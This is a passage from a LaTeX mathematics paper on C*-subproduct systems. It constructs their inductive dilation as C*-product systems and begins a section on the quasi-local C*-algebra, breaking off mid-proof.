\begin{eqnarray*}&&\Delta_{I\cap[s,u],J\cap[s,u]}\otimes\Delta_{I\cap[u,t], J\cap[u,t]}=\Delta_{\{\iota_0,\iota_1\}, I_0}\otimes \Delta_{\{\iota_1,\iota_2\}, I_1}\otimes \cdots \Delta_{\{\iota_{k-1},\iota_{k}\}, I_k}\\
&\otimes&\Delta_{\{\iota_k,\iota_{k+1}\}, I_k}\otimes \Delta_{\{\iota_{k+1},\iota_{k+2}\}, I_{k+1}}\otimes \cdots \Delta_{\{\iota_m,\iota_{m+1}\}, I_m}=\Delta_{I,J},
\end{eqnarray*}
as claimed.
\end{proof}
\begin{proposition}\label{lemma inductive limit-c} Let $\mathscr {A}=(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t})$ be a $C^*$-subproduct system. For any two positive real numbers $0<s < t$, the system
$$
\Bigl\{(\mathcal {A}_I,\Delta_{I,J})\,|\, I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J \Bigr\}
$$
is an inductive system of $C^*$-algebras over the partially ordered set $( \mathscr {P}_{s,t},\subseteq )$.
\end{proposition}
\begin{proof} Consider three arbitrary partitions $I,\,J,\,K\in \mathscr {P}_{s,t}$ such that $I\subseteq J\subseteq K$. We claim that the compatibility condition $$\Delta_{I,K}=\Delta_{J,K} \Delta_{I,J}$$
is satisfied. For this purpose, suppose that $I=\{s=\iota_{0}<\iota_{1}<\iota_{2}<\,\dots<\iota_{m}<\iota_{{m+1}}=t\}$, and let $J=I_0\cup \cdots \cup I_m$ be the decomposition of $J$ with respect to $I$, where for each $0\leq i\leq m$, $I_i=\{\iota_i=\iota_{i_0}<\iota_{i_1}<\dots<\iota_{i_{n_{I_i}}}<\iota_{i+1}\}\in \mathscr {P}_{\iota_i,\iota_{i+1}}$, for some $n_{I_i}\in\mathbb{N}$. Let also $K=J_0\cup J_1\cup\dots\cup J_\ell$ be the decomposition of $K$ with respect to $J$, where $J_0\in \mathscr {P}_{\iota_{0_0},\iota_{0_{1}}}$, $J_1\in \mathscr {P}_{\iota_{0_1},\iota_{0_{2}}}$, $\cdots$, $J_{n_{I_0}}\in \mathscr {P}_{\iota_{0_{n_{I_0}}},\iota_{{1}}}$, $\cdots$, $J_{\ell}\in \mathscr {P}_{\iota_{m_{n_{I_m}}},t}$.
Putting it all together, we obtain that $$K=I_0'\cup I_1'\cup\dots\cup I_m',$$ where $I_0'=J_0\cup J_1\cup\dots \cup J_{n_{I_0}}$, $I_1'=J_{n_{I_0}+1}\cup\dots \cup J_{n_{I_1}}$, $\dots$, $I_m'=J_{n_{I_{m-1}}+1}\cup\dots \cup J_\ell$. This is exactly the partition decomposition of $K$ with respect to $I$.
Since \begin{eqnarray*}
\Delta_{I_0, I_0'}&=&\Delta _{\{\iota_{0_0},\iota_{0_1}\}, J_0}\otimes \Delta _{\{\iota_{0_1},\iota_{0_2}\}, J_1}\otimes \dots\otimes \Delta _{\{\iota_{0_{n_{I_0}}},\iota_{1}\}, J_{n_{I_0}}}\\
\Delta_{I_1, I_1'}&=&\Delta _{\{\iota_{1_0},\iota_{1_1}\}, J_{n_{I_0}+1}}\otimes \Delta _{\{\iota_{1_1},\iota_{1_2}\}, J_{n_{I_0}+2}}\otimes \dots\otimes \Delta _{\{\iota_{1_{n_{I_1}}},\iota_{2}\}, J_{n_{I_1}}}\\
\cdots&\cdots&\cdots\cdots\cdots\\
\Delta_{I_m, I_m'}&=&\Delta _{\{\iota_{m_0},\iota_{m_1}\}, J_{n_{I_{m-1}}+1}}\otimes \dots\otimes \Delta _{\{\iota_{m_{n_{I_m}}},\iota_{m+1}\}, J_\ell},
\end{eqnarray*}
we have that $$ \Delta_{I_0, I_0'}\otimes \Delta_{I_1, I_1'} \otimes \cdots \otimes\Delta_{I_m, I_m'}=\Delta _{\{\iota_{0_0},\iota_{0_1}\}, J_0}\otimes \Delta _{\{\iota_{0_1},\iota_{0_2}\}, J_1}\otimes\dots \otimes\Delta _{\{\iota_{m_{n_{I_m}}},\iota_{m+1}\}, J_\ell}=\Delta_{J,K}.$$
Using this identity and Lemma \ref{Aug17}, we obtain that\begin{eqnarray*}
\Delta_{I,K}&=&\Delta_{\{\iota_0,\iota_1\}, I_0'}\otimes \Delta_{\{\iota_1,\iota_2\}, I_1'}\otimes \cdots\otimes \Delta_{\{\iota_m,\iota_{m+1}\}, I_m'}\\
&=&\Delta_{I_0, I_0'}\Delta_{\{\iota_0,\iota_1\}, I_0}\otimes \Delta_{I_1, I_1'} \Delta_{\{\iota_1,\iota_2\}, I_1}\otimes \cdots \otimes\Delta_{I_m, I_m'}\Delta_{\{\iota_m,\iota_{m+1}\}, I_m}\\
&=&(\Delta_{I_0, I_0'}\otimes \Delta_{I_1, I_1'} \otimes \cdots \otimes\Delta_{I_m, I_m'})(\Delta_{\{\iota_0,\iota_1\}, I_0}\otimes \Delta_{\{\iota_1,\iota_2\}, I_1}\otimes \cdots \otimes\Delta_{\{\iota_m,\iota_{m+1}\}, I_m})\\
&=&\Delta_{J,K}(\Delta_{\{\iota_0,\iota_1\}, I_0}\otimes \Delta_{\{\iota_1,\iota_2\}, I_1}\otimes \cdots \otimes\Delta_{\{\iota_m,\iota_{m+1}\}, I_m})\\&=&\Delta_{J,K} \Delta_{I,J},
\end{eqnarray*}
as claimed. Therefore $\{(\mathcal {A}_I,\Delta_{I,J})\,|\, I\subseteq J \in \mathscr {P}_{s,t}\}$ is an inductive system of $C^*$-algebras.
\end{proof}
\begin{definition}\label{Oct5} Let $\mathscr {A}=(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t})$ be a $C^*$-subproduct system. For any two positive real numbers $0<s < t$, we define the $C^*$-algebra \begin{eqnarray}\mathcal {A}_{s,t}^\sharp=\limind\, \Bigl\{(\mathcal {A}_I,\Delta_{I,J})\,|\, I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J\Bigr\},\end{eqnarray}
as the $C^*$-inductive limit of the inductive system $\{(\mathcal {A}_I,\Delta_{I,J})\,|\, I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J\}$. \end{definition}
We also consider the family $\{\Delta _I^\sharp\}_{I\in \mathscr {P}_{s,t}}$ of connecting mappings $\Delta _I^\sharp:\mathcal {A}_I\to \mathcal {A}_{s,t}^\sharp$, $I\in \mathscr {P}_{s,t}$, associated with this inductive limit construction. Therefore the *-monomorphisms $\Delta _I^\sharp$ satisfy the compatibility condition $$\Delta_{J}^\sharp\Delta_{I,J}=\Delta_I^\sharp,$$for all $I,\,J\in \mathscr {P}_{s,t}$, $I\subseteq J,$ and the norm-density condition $$\mathcal {A}_{s,t}^\sharp=\overline{\bigcup_{I\in \mathscr {P}_{s,t}}\Delta_I^\sharp(\mathcal {A}_I)}^{\|\cdot\|}.$$ To ease the notation, if $I=\{s,t\}$ is the trivial partition, then we shall simply use the notation $\Delta _{s,t}^\sharp$ instead of $\Delta _{\{s,t\}}^\sharp$, whenever necessary.
\begin{theorem}\label{star-isomorphism theorem}Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a $C^*$-subproduct system.
For any real numbers $0<r<s<t$, there exists a $*$-isomorphism of $C^*$-algebras $\Delta_{r,s,t}^\sharp:\mathcal {A}_{r,t}^\sharp\to \mathcal {A}_{r,s}^\sharp\otimes \mathcal {A}_{s,t}^\sharp$ so that
the resulting system $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ is a $C^*$-product system dilation of $\mathscr {A}$.
\end{theorem}
\begin{proof}
Let $0<r<t$ be two given positive real numbers. For any real number $s$ with $0<r<s<t$, consider the family of partitions $$\mathscr {P}_{r,s}\lor \mathscr {P}_{s,t}=\{ I\cup J\,|\, I\in\mathscr {P}_{r,s}, J\in \mathscr {P}_{s,t}\}$$ of the interval $[r,t]$. We note that $\mathscr {P}_{r,s}\lor \mathscr {P}_{s,t}$ is a cofinal subset of the partially ordered set $(\mathscr {P}_{r,t},\subseteq)$. Consequently, the $C^*$-algebra $\mathcal {A}_{r,t}^\sharp$ can be realized as the $C^*$-inductive limit of the inductive system $$\{(\mathcal {A}_{I\cup J},\Delta_{I\cup J,I'\cup J'})\,|\, I\cup J,\,I'\cup J' \in \mathscr {P}_{r,s}\lor \mathscr {P}_{s,t},\; I\cup J\subseteq I'\cup J'\}.$$ Furthermore, we note that the mapping $\mathscr {P}_{r,s}\lor \mathscr {P}_{s,t}\ni I\cup J\mapsto (I, J)\in \mathscr {P}_{r,s}\times \mathscr {P}_{s,t}$ is an order isomorphism, where $\mathscr {P}_{r,s}\times \mathscr {P}_{s,t}$ is endowed with the product order. Because $\mathcal {A}_{I\cup J}=\mathcal {A}_I\otimes\mathcal {A}_J$ and $\Delta_{I\cup J,I^{\prime}\cup J^{\prime}}=\Delta_{I,I^{\prime}}\otimes \Delta_{J,J^{\prime}}$, for all $I,\, I^{\prime}\in\mathscr {P}_{r,s}$, $I\subseteq I^{\prime}$, and $J,\,J^{\prime}\in \mathscr {P}_{s,t}$, $J\subseteq J^{\prime}$, we infer that the $C^*$-algebra $\mathcal {A}_{r,t}^\sharp$ can also be realized as the $C^*$-inductive limit of the inductive system $$\{(\mathcal {A}_{I}\otimes \mathcal {A}_{J} ,\Delta_{I,I^{\prime}}\otimes \Delta_{J, J^{\prime}} )\,|\, (I,J),\,(I^{\prime},J^{\prime}) \in \mathscr {P}_{r,s}\times\mathscr {P}_{s,t},\; I\subseteq I^{\prime},\;J\subseteq J^{\prime}\}.$$ Noticing that the families
$\{\Delta_I^\sharp\otimes \Delta_J^\sharp\}_{ \mathscr {P}_{r,s}\times \mathscr {P}_{s,t}}$ and $\{\Delta_{I,I^{\prime}}\otimes \Delta_{J, J^{\prime}}\}_{ \mathscr {P}_{r,s}\times \mathscr {P}_{s,t}}$ are compatible, and that
the union of all range algebras $\Delta_I^\sharp\otimes \Delta_J^\sharp\left(\mathcal {A}_I\otimes \mathcal {A}_J\right)$ is norm-dense in $\mathcal {A}_{r,s}^\sharp\otimes \mathcal {A}_{s,t}^\sharp$, it follows from the universal property of the inductive limit that there is a unique *-isomorphism $\Delta_{r,s,t}^\sharp:\mathcal {A}_{r,t}^\sharp\rightarrow \mathcal {A}_{r,s}^\sharp\otimes \mathcal {A}_{s,t}^\sharp$ that satisfies the compatibility condition \begin{eqnarray}\label{compas}\Delta_{r,s,t}^\sharp\Delta_{I\cup J}^\sharp=\Delta_I^\sharp\otimes \Delta_J^\sharp,\end{eqnarray}
for all $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$.
We claim that $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ is a $C^*$-product system, i.e., that the family of *-monomorphisms $\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}$ satisfies the co-associativity law (\ref{Nov10d}). For this purpose, consider three arbitrary partitions $I\in \mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s.t}$ and $K\in \mathscr {P}_{t,u}.$ Using (\ref{compas}), we have
\begin{eqnarray*}
(\Delta_{r,s,t}^\sharp\otimes \operatorname {id}_{\mathcal {A}_{t,u}^\sharp})\Delta_{r,t,u}^\sharp \Delta_{I\cup J\cup K}^\sharp&=&(\Delta_{r,s,t}^\sharp\otimes \operatorname {id}_{\mathcal {A}_{t,u}^\sharp})(\Delta_{I\cup J}^\sharp\otimes \Delta_K^\sharp)\\&=&\Delta_I^\sharp\otimes \Delta_J^\sharp\otimes \Delta_K^\sharp
\end{eqnarray*}
and similarly $(\operatorname {id}_{\mathcal {A}_{r,s}^\sharp}\otimes \Delta_{s,t,u}^\sharp)\Delta_{r,s,u}^\sharp \Delta_{I\cup J\cup K}^\sharp=\Delta_I^\sharp\otimes \Delta_J^\sharp\otimes \Delta_K^\sharp$. Because the set $\bigcup_{I,\,J,\,K}\Delta_{I\cup J\cup K}^\sharp (\mathcal {A}_I\otimes \mathcal {A}_J\otimes \mathcal {A}_K)$ is everywhere dense in $\mathcal {A}^\sharp_{t,u}$, the conclusion follows.
Finally, we show that the family $\{\Delta_{s,t}^\sharp\}_{0<s<t}$ is a monomorphism of tensorial $C^*$-systems, from $\mathscr {A}$ to $\mathscr {A}^\sharp$. For this, let $0<r<s<t$ be fixed real numbers. Applying (\ref{compas}) to the particular case $I=\{r,s\}\in \mathscr {P}_{r,s}$, $J=\{s,t\}\in \mathscr {P}_{s,t}$, we obtain that
$$\left(\Delta_{r,s}^\sharp\otimes \Delta_{s,t}^\sharp\right)\Delta_{r,s,t}=\Delta^\sharp_{r,s,t}\Delta^\sharp_{I\cup J}\Delta_{r,s,t}=\Delta^\sharp_{r,s,t}\Delta_{r,t}^\sharp,$$
as needed. The theorem is proved.
\end{proof}
\begin{definition}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a $C^*$-subproduct system. The $C^*$-product system dilation $$\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$$ will be called the inductive dilation of $\mathscr {A}$. The monomorphism $\{\Delta_{s,t}^\sharp\}_{0<s<t}$ will be called the inductive embedding of $\mathscr {A}$ into $\mathscr {A}^\sharp$.
\end{definition}
It is clear that the inductive dilation of a $C^*$-product system is isomorphic to the $C^*$-product system itself. We also note that the inductive dilation of a $C^*$-subproduct system satisfies certain minimality properties, analogous to those satisfied by the Bhat dilation of a quantum dynamical semigroup (see \cite[Chapter 8]{Arveson-book}). As these properties will not be used directly in this article, we postpone this discussion for another occasion.
The last proposition of this section shows that the construction of the inductive dilation is categorical, in the sense that any monomorphism of $C^*$-subproduct systems can be extended to a monomorphisms of their inductive dilations, respecting all the inductive structures considered.
\begin{proposition}\label{categorical theorem0}
Suppose that $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ and $\mathscr {B}=\left(\{\mathcal {B}_{s,t}\}_{0<s<t}, \{\Gamma_{r,s,t}\}_{0<r<s<t}\right)$ are $C^*$-subproduct systems. Let $\{\theta_{s,t}\}_{0<s<t}$ be a monomorphism, respectively an isomorphism, from $\mathscr {A}$ to $\mathscr {B}$. Then there exists a unique monomorphism, respectively isomorphism, $\{\theta_{s,t}^\sharp\}_{0<s<t}$ from $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ to $\mathscr {B}^\sharp=\left(\{\mathcal {B}_{s,t}^\sharp\}_{0<s<t},\,\{\Gamma_{r,s,t}^\sharp\}_{0<r<s<t}\right)$
that make the diagram
\begin{eqnarray}\label{Nov17a}
\xymatrix{
\mathcal {A}_{s,t}^\sharp \ar[r]^-{\theta_{s,t}^\sharp} & \mathcal {B}^\sharp_{s,t} \\
\mathcal {A}_{s,t} \ar[r]_-{\theta_{s,t}}\ar[u]^-{\Delta^\sharp_{s,t}} & \mathcal {B}_{s,t}\ar[u]_-{\Gamma^\sharp_{s,t}} }
\end{eqnarray}
commute, that is $\theta_{s,t}^\sharp \Delta_{s,t}^\sharp=\Gamma_{s,t}^\sharp \theta_{s,t},$ for all $0<s<t$.
\end{proposition}
\begin{proof} For any two real numbers $0<s<t$ and any partition $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}\in \mathcal {P}_{s,t}$, consider the associated tensor product *-monomorphism $\theta_I:\mathcal {A}_I\to\mathcal {B}_I$, $
\theta_I=\theta_{\iota_0,\iota_1}\otimes \theta_{\iota_1,\iota_2}\otimes \cdots\otimes \theta_{\iota_m,\iota_{m+1}}.$ It is readily seen that the families $\{\theta_I\}_{I\in\mathscr {P}_{s,t}}$, $\{\Delta_{I,J}\}$ and $\{\Gamma_{I,J}\}$ are compatible, in the sense that
\begin{eqnarray}\label{rok}
\theta_J\Delta_{I,J}=\Gamma_{I,J}\theta_I,
\end{eqnarray}
for all $I,\,J\in \mathscr {P}_{s,t}$, $I\subseteq J$. As a result, there exists a unique *-monomorphism $\theta^\sharp_{s,t}:\mathcal {A}_{s,t}^\sharp\to \mathcal {B}_{s,t}^\sharp$ such that \begin{eqnarray}\label{Nov17b}\theta^\sharp_{s,t}\Delta^\sharp_I=\Gamma^\sharp_I\theta_I,\end{eqnarray} for all $I\in\mathscr {P}_{s,t}$ and $0<s<t$. Because \begin{eqnarray*}\Gamma_{r,s,t}^\sharp\theta_{r,t}^\sharp \Delta^\sharp_{I\cup J}&=& \Gamma_{r,s,t}^\sharp\Gamma^\sharp_{I\cup J}\theta_{I\cup J}=\Gamma_I^\sharp\theta_I\otimes \Gamma_J^\sharp\theta_J
=\theta_{r,s}^\sharp\Delta_I^\sharp\otimes \theta_{s,t}^\sharp\Delta_J^\sharp
\\&=&(\theta_{r,s}^\sharp\otimes \theta_{s,t}^\sharp) \Delta_{r,s,t}^\sharp \Delta^\sharp_{I\cup J},\end{eqnarray*} for all real numbers $0<r<s<t$ and all partitions $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$, we deduce that
$\{\theta_{s,t}^\sharp\}_{0<s<t}$ is a monomorphism of tensorial $C^*$-systems. It is clear that $\{\theta_{s,t}^\sharp\}_{0<s<t}$ is an isomorphism if $\{\theta_{s,t}\}_{0<s<t}$ is itself an isomorphism.
Regarding uniqueness, suppose that $\{\eta_{s,t}^\sharp\}_{0<s<t}$ is another monomorphism from $\mathscr {A}^\sharp$ to $\mathscr {B}^\sharp$ that satisfies (\ref{Nov17a}). We will show that $\{\eta_{s,t}^\sharp\}_{0<s<t}$ must satisfy (\ref{Nov17b}) and, consequently, this leads to $\theta^\sharp_{s,t}=\eta^\sharp_{s,t}$, for all $0<s<t$. It suffices to show that $\{\eta_{s,t}^\sharp\}_{0<s<t}$ satisfies (\ref{Nov17b}) for any partition of the form $I=\{s,\iota,t\}$, where $0<s<\iota<t$. For this purpose, we write $I=\{s,\iota\}\cup\{\iota, t\}$ and use (\ref{compas}) to obtain that \begin{eqnarray*}
\eta^\sharp _{s,t}\Delta^\sharp _I&=&\left( \Gamma_{s,\iota,t}^\sharp\right)^{-1}\left(\eta_{s,\iota}^\sharp\otimes \eta_{\iota,t}^\sharp\right)\Delta_{s,\iota, t}^\sharp\Delta^\sharp_{\{s,\iota\}\cup\{\iota, t\}}\\&=&\left( \Gamma_{s,\iota,t}^\sharp\right)^{-1}\left(\eta_{s,\iota}^\sharp\Delta^\sharp_{s,\iota}\otimes \eta_{\iota,t}^\sharp\Delta_{\iota, t}^\sharp\right)\\&=&\left( \Gamma_{s,\iota,t}^\sharp\right)^{-1}\left(\Gamma_{s,\iota}^\sharp \theta_{s,\iota}\otimes \Gamma_{\iota,t}^\sharp \theta_{\iota,t}\right)=\Gamma^\sharp_I\theta_I.\end{eqnarray*}
The proof is now complete.
\end{proof}
We conclude this section with a concrete description of the inductive dilation of a unital $C^*$-subproduct system of commutative $C^*$-algebras.
\begin{example}\label{examp11}
Consider, as in Example \ref{examp1}, a two-parameter multiplicative system of compact Hausdorff spaces $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ chosen so that every function $\chi_{r,s,t}$ is surjective. For any two positive real numbers $0<s<t$ and any partition $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}\in \mathscr {P}_{s,t}$, let $X_I=
X_{\iota_0, \iota_1}\times X_{\iota_1,\iota_2}\times \dots\times X_{\iota_m,\iota_{m+1}}$ be the cartesian product of the spaces $X_{\iota_k,\iota_{k+1}}$, and $\chi_{\{s,t\},I}:X_{I}\to X_{s,t}$ be the continuous surjection defined iteratively according to the model used in Definition \ref{Jan21}, i.e.,
$$\chi_{\{s,t\},I}=\left\{\begin{array}{llll}\chi_{\iota_0,\iota_1,\iota_2}, &\mbox{if}\;m=1\\\chi_{\iota_0,\iota_m,\iota_{m+1}}\left(\chi_{\{\iota_0,\iota_m\},I\setminus\{\iota_{m+1}\}}\times \operatorname {id}_{\iota_m,\iota_{m+1}}\right),
& \mbox{if}\; m\geq 2
\end{array}\right.$$
If $J\in \mathscr {P}_{s,t}$ is a refinement of $I$, decomposed as $J=I_0\cup \ldots \cup I_m$ with respect to $I$, then let $\chi_{I,J}:X_J\rightarrow X_I$ be the continuous surjection \begin{eqnarray}\label{June16}\chi_{I,J}=\chi_{\{\iota_0,\iota_1\}, I_0}\times \chi_{\{\iota_1,\iota_2\}, I_1}\times \cdots \chi_{\{\iota_m,\iota_{m+1}\}, I_m}.\end{eqnarray}
As in Proposition \ref{lemma inductive limit-c}, it can be shown that the system $
\Bigl\{(X_I,\chi_{I,J})\,|\, I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J \Bigr\}
$ is a projective system of compact Hausdorff spaces over the partially ordered set $(\mathscr {P}_{s,t}, \subseteq)$, for all $0<s<t$. Its projective limit $X_{s,t}^\sharp=\limproj \Bigl\{(X_I,\chi_{I,J})\,|\,I,\,J \in \mathscr {P}_{s,t},\; I\subseteq J\Bigr\}$ is a non-empty compact Hausdorff space.
Reasoning as in the proof of Theorem \ref{star-isomorphism theorem}, for any real numbers $0<r<s<t$, one can find a homeomorphism $\chi_{r,s,t}^\sharp: X_{r,s}^\sharp\times X_{s,t}^\sharp\to X_{r,t}^\sharp$ uniquely determined by the condition $(\chi_{I\cup J}^\sharp)\comp (\chi_{r,s,t}^\sharp)=\chi_I^\sharp\times \chi_J^\sharp$
for all $I\in\mathscr {P}_{r,s}$, $J\in \mathscr {P}_{s,t}$. The system $\left(\{X_{s,t}^\sharp\}_{0<s<t},\,\{\chi_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ is a two-parameter multiplicative system of compact Hausdorff spaces, and the associate system of commutative $C^*$-algebras $\mathscr {A}_{\operatorname {com}}^\sharp=\left(\{C(X_{s,t}^\sharp)\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$, where $\Delta_{r,s,t}^\sharp$ is the *-homomorphism induced by $\chi_{r,s,t}^\sharp$, is a $C^*$-product system that is isomorphic to the inductive dilation of the unital $C^*$-subproduct system $\mathscr {A}_{\operatorname {com}}=\left(\{C(X_{s,t})\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ of $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$.
\end{example}
\section{The quasi-local $C^*$-algebra of a unital $C^*$-subproduct system}\label{sec4.1}
In this section, we consider the partially ordered set $\mathscr {P}=\bigcup_{0<s<t}\mathscr {P}_{s,t}$ of all finite ordered subsets $I$ of $(0,\infty)$, $|I|\geq 2$, ordered by inclusion. Similar to decomposition (\ref{decoopa}), for any partition $I\in \mathscr {P}$ of the form $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_{m+1}=t\}$, and any refinement $J\in\mathscr {P}$ of $I$, one can decompose $J$ as \begin{eqnarray}\label{decoop}J=\underline{I}\cup I_0\cup\cdots\cup I_m\cup \overline{I}=\underline{I}\cup I^{\times}\cup \overline{I}\end{eqnarray} where the terminal partitions $\underline{I}$ and $\overline{I}$ are given by $\underline{I}=\{j \in J: j \leq \iota_0\}$, $\overline{I}=\{j\in J: \iota_{m+1}\leq j\},$ and the middle partition $I^{\times}$ is defined as $I^{\times}= I_1\cup\cdots\cup I_m\in\mathscr {P}_{s,t}$, where
for each $0\leq i\leq m$, $I_i=\{j\in J, \iota_i\leq j\leq \iota_{i+1}\}=\{\iota_i=\iota_{i_0}<\iota_{i_1}<\dots<\iota_{i_{n_{I_i}}}<\iota_{i+1}\}\in \mathscr {P}_{\iota_i,\iota_{i+1}},$ for some integer $n_{I_i}\in\mathbb{N}$ depending on the set $I_i$. We note, on this occasion, that the partition $I^{\times}$ is a refinement of $I.$
If $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ is a unital $C^*$-subproduct system, then the partition decomposition (\ref{decoop}) leads to the corresponding tensorial decomposition of $C^*$-algebras $$
\mathcal {A}_J=\mathcal {A}_{\underline{I}}\otimes \mathcal {A}_{I^{\times}}\otimes \mathcal {A}_{\overline{I}}=\mathcal {A}_{\underline{I}}\otimes \mathcal {A}_{I_0}\otimes \mathcal {A}_{I_1}\otimes\dots\otimes \mathcal {A}_{I_m}\otimes \mathcal {A}_{\overline{I}},$$ for all $I\subseteq J\in\mathscr {P}$. Note that if $I_0$, or $I_m$, contains just one point (the end point), they will be ignored.
\begin{proposition}\label{lemma inductive limit} Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a unital $C^*$-subproduct system. For any two partitions $I,\,J\in\mathscr {P}$, $I\subseteq J$, consider the *-monomorphism $\Delta_{I,J}^\times: \mathcal {A}_I\to\mathcal {A}_J$,
\begin{eqnarray}\Delta_{I,J}^\times (x)=\left\{\begin{array}{ll}\Delta_{I,J}(x), &\mbox{if}\;I,J\in \mathscr {P}_{s,t},\;s,t>0\\
{1}_{\underline{I}}\otimes \Delta_{I,I^{\times}}(x) \otimes {1}_{\overline{I}},
&\mbox{otherwise}\end{array}\right.
\end{eqnarray} for all $x\in \mathcal {A}_I,$ where ${1}_{\underline{I}}$, respectively ${1}_{\overline{I}}$, is the unit of the $C^*$-algebra $\mathscr {A}_{\underline{I}}$, respectively of the $C^*$-algebra $\mathcal {A}_{\overline{I}}$.
Then the system
\[
\Bigl\{(\mathcal {A}_I,\Delta_{I,J}^\times)\,|\,I,\,J \in \mathscr {P},\; I\subseteq J\Bigr\}
\]
is an inductive system of $C^*$-algebras over the partially ordered set $(\mathscr {P}, \subseteq)$.
\end{proposition}
\begin{proof} We will show that the compatibility condition
\begin{eqnarray}\label{indo}\Delta_{I,K}^\times=\Delta_{J,K}^\times \Delta_{I,J}^\times,\end{eqnarray} is satisfied for all partitions $I,\,J,\,K\in\mathscr {P}$, $I\subseteq J\subseteq K$. For this purpose, we first show that (\ref{indo}) is satisfied when $J,\,K\in \mathscr {P}_{u,v}$ and $I\in \mathscr {P}_{s,t}$, where $0<u\leq s<t\leq v$. It is clear that (\ref{indo}) holds true if $u=s$, or $t=v$, or $u=s$ and $t=v$, so we can assume that $0<u< s<t< v$. Let $J=\underline{I}_J\cup I^{\times}_J\cup \overline{I}_J$ be the decomposition of $J$ with respect to $I\subseteq J$, as in (\ref{decoop}), and $K=\underline{I}_K\cup I^{\times}_K\cup \overline{I}_K$ be the decomposition of $K$ with respect to $I\subseteq K$. We notice that $\underline{I}_J\subseteq \underline{I}_K,$ $\overline{I}_J\subseteq \overline{I}_K$, and $I\subseteq I^{\times}_J\subseteq I^{\times}_K.$ Using Lemma \ref{Aug17} (ii), we deduce that $\Delta_{J,K}=\Delta_{\underline{I}_J, \underline{I}_K}\otimes \Delta_{ I^{\times}_J, I^{\times}_K}\otimes \Delta_{\overline{I}_J, \overline{I}_K}.$
Consequently, for any $x\in\mathcal {A}_I$, we have \begin{eqnarray*}\Delta^\times_{J,K}\Delta^\times_{I,J}(x)&=&\Delta_{J,K}\left({1}_{\underline{I}_J}\otimes \Delta_{I,I^{\times}_J}(x)\otimes {1}_{\overline{I}_J}\right)
\\&=&\Delta_{\underline{I}_J, \underline{I}_K}({1}_{\underline{I}_J})\otimes \Delta_{ I^{\times}_J, I^{\times}_K}\Delta_{I,I^{\times}_J}(x)\otimes (\Delta_{\overline{I}_J, \overline{I}_K}({1}_{\overline{I}_J})
=\Delta^\times_{I,K}(x),\end{eqnarray*} as required.
We can now prove (\ref{indo}) in full generality. For this, let $I\in \mathscr {P}_{s,t}$ and $J\in \mathscr {P}_{u,v}$, where $0<u\leq s<t\leq v$. Since (\ref{indo}) can be easily checked when $u=s$, or $t=v$, or $u=s$ and $t=v$, we assume that $0<u<s<t<v$. In this case, we consider the decomposition $J=\underline{I}_J\cup I_J^{\times}\cup \overline{I}_J$ of $J$ with respect to $I\subseteq J$, the decomposition $K=\underline{J}_K\cup J_K^{\times}\cup \overline{J}_K$ of $K$ with respect to $J\subseteq K$, as well the decomposition $K=\underline{I}_K\cup I_K^{\times}\cup \overline{I}_K$ of $K$ with respect to $I\subseteq K$. We notice that $I,\,I_J^{\times},\, I_K^{\times}\in \mathscr {P}_{s,t}$ satisfy $I\subseteq I_J^{\times}\subseteq I_K^{\times}$, while $J,\, J_K^{\times}\in \mathscr {P}_{u,v}$ satisfy $J\subseteq J_K^{\times}.$ In particular, $I\subseteq J_K^{\times}$, and the partitions in the corresponding decomposition $J_K^{\times}= \underline{I}_{ J_K^{\times}}\cup I^{\times}_{ J_K^{\times}}\cup \overline{I}_{ J_K^{\times}}$ are simply given by $\underline{I}_{ J_K^{\times}}=K\cap[u,s],$
$I^{\times}_{ J_K^{\times}}=I^{\times}_K,$ and $\overline{I}_{ J_K^{\times}}=K\cap[t,v].$
Consequently, $\underline{I}_K= \underline{J}_K\cup \underline{I}_{ J_K^{\times}}$ and $\overline{I}_K=\overline{J}_K\cup \overline{I}_{ J_K^{\times}}.$ Using all this, we have
